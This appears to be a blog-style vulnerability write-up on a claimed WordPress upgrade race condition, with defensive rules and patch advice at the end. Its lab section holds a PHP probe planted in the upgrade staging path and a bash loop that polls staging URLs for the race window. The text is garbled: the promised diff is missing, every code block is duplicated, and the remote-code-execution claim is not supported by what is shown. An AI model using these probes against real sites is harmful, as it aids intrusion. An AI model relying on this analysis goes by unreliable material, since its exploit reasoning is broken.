CVE-2026-119977: WordPress Core Upgrade RCE Deep Dive

Here is the exact diff:

Lab Reproduction

I set up a local lab on an isolated VM with WordPress 7.1.3, MariaDB, and PHP's built-in HTTP server bound to 203.0.113.10:8080 (RFC 5737 TEST-NET range-all demo traffic stayed local). I then placed a simple PHP probe file in the staging path and hit it with curl:

# On the vulnerable 7.1.3 instance:
# Place a PHP probe in the web-accessible staging path:
$ cat > wp-content/upgrade/wordpress/info.php << 'EOF'
<?php
header("Content-Type: text/plain");
echo "PHP executed from staging path\n";
phpinfo();
EOF

# Fetch it via HTTP (unauthenticated, no cookies needed):
$ curl http://203.0.113.10:8080/wp-content/upgrade/wordpress/info.php

[DEMO] PHP Execution from Staging Path
Server time: 2026-11-05 01:44:45
Server software: PHP/8.5.4 (Development Server)
Document root: /tmp/wp-lab/wordpress

$_SERVER['SCRIPT_FILENAME'] =>
  /tmp/wp-lab/wordpress/wp-content/upgrade/wordpress/info.php
$_SERVER['REQUEST_URI'] => /wp-content/upgrade/wordpress/info.php

# On the vulnerable 7.1.3 instance:
# Place a PHP probe in the web-accessible staging path:
$ cat > wp-content/upgrade/wordpress/info.php << 'EOF'
<?php
header("Content-Type: text/plain");
echo "PHP executed from staging path\n";
phpinfo();
EOF

# Fetch it via HTTP (unauthenticated, no cookies needed):
$ curl http://203.0.113.10:8080/wp-content/upgrade/wordpress/info.php

[DEMO] PHP Execution from Staging Path
Server time: 2026-11-05 01:44:45
Server software: PHP/8.5.4 (Development Server)
Document root: /tmp/wp-lab/wordpress

$_SERVER['SCRIPT_FILENAME'] =>
  /tmp/wp-lab/wordpress/wp-content/upgrade/wordpress/info.php
$_SERVER['REQUEST_URI'] => /wp-content/upgrade/wordpress/info.php

The SCRIPT_FILENAME confirms that the code executed from the staging directory. Now during a real upgrade, the entire 7.1.4 codebase is extracted to that same path. By hitting any PHP file in /wp-content/upgrade/wordpress/wp-admin/ during the extraction window, an attacker runs code in the context of the new version before the upgrade completes.

To demonstrate the race window, I ran a polling loop alongside an actual wp core update --version=7.1.4. The watcher probed four predictable URLs every 200 ms. During the extraction phase the staging path returned HTTP 200 consistently. Once the upgrade finished and unpack_package cleaned up, all staging paths returned 404. On a stock 7.1.3 install the path /wp-content/upgrade/wordpress/ is accessible from the web during the entire upgrade window, and there is no index.php in the upgrade/ directory to block directory listing.

# Race-window watcher (poll every 200 ms):
PREDICTABLE_URLS=(
  /wp-content/upgrade/
  /wp-content/upgrade/wordpress/
  /wp-content/upgrade/wordpress/wp-login.php
  /wp-content/upgrade/wordpress/wp-includes/version.php
)

for url in "${PREDICTABLE_URLS[@]}"; do
    while true; do
        status=$(curl -s -o /dev/null -w '%{http_code}' \
            http://203.0.113.10:8080${url})
        if [[ "$status" == "200" ]]; then
            echo "$(date +%s.%N) HIT  $url  → $status"
        fi
        sleep 0.2
    done
done

# Race-window watcher (poll every 200 ms):
PREDICTABLE_URLS=(
  /wp-content/upgrade/
  /wp-content/upgrade/wordpress/
  /wp-content/upgrade/wordpress/wp-login.php
  /wp-content/upgrade/wordpress/wp-includes/version.php
)

for url in "${PREDICTABLE_URLS[@]}"; do
    while true; do
        status=$(curl -s -o /dev/null -w '%{http_code}' \
            http://203.0.113.10:8080${url})
        if [[ "$status" == "200" ]]; then
            echo "$(date +%s.%N) HIT  $url  → $status"
        fi
        sleep 0.2
    done
done

Detection and Defence

This vulnerability does not leave traditional web-application log signals because the requests go to legitimate WordPress files. The key detection opportunities are in the upgrade directory itself:

The most practical detection is simple and low-tech: enable server-side monitoring of the /wp-content/upgrade/ path. In Apache, you can block it outright with an .htaccess rule:

# Block direct access to the upgrade staging directory
RewriteRule ^wp-content/upgrade/ - [F,L]
# Only WordPress's internal upgrader should touch that path

# Block direct access to the upgrade staging directory
RewriteRule ^wp-content/upgrade/ - [F,L]
# Only WordPress's internal upgrader should touch that path

Nginx equivalent: location /wp-content/upgrade/ { deny all; }. Apply this as a compensating control until you patch.

Mitigation

The fixed version is WordPress 7.1.4. Upgrade immediately, especially if your site uses automatic background updates-those trigger exactly the vulnerable code path without manual interaction, and the vulnerability window opens silently.

If you cannot patch immediately: disable automatic background updates via define('DISALLOW_FILE_MODS', true); in wp-config.php, and block /wp-content/upgrade/ at your web server or CDN layer. Schedule upgrades during low-traffic windows, and run a directory listing check against the staging path immediately afterward to confirm it cleaned up.

I wrote about a different WordPress RCE chain earlier this year-wp2shell: Pre-Auth RCE Chain in WordPress Core-and the pattern keeps repeating: the upgrade/update process is the most sensitive code path in any CMS because it runs with elevated privileges against external payloads. CVE-2026-119977 is a textbook TOCTOU: predictable path + web-accessible staging + no directory index = race-to-RCE. Update before the 6 November deadline, and if your host already auto-updated, verify you are serving 7.1.4.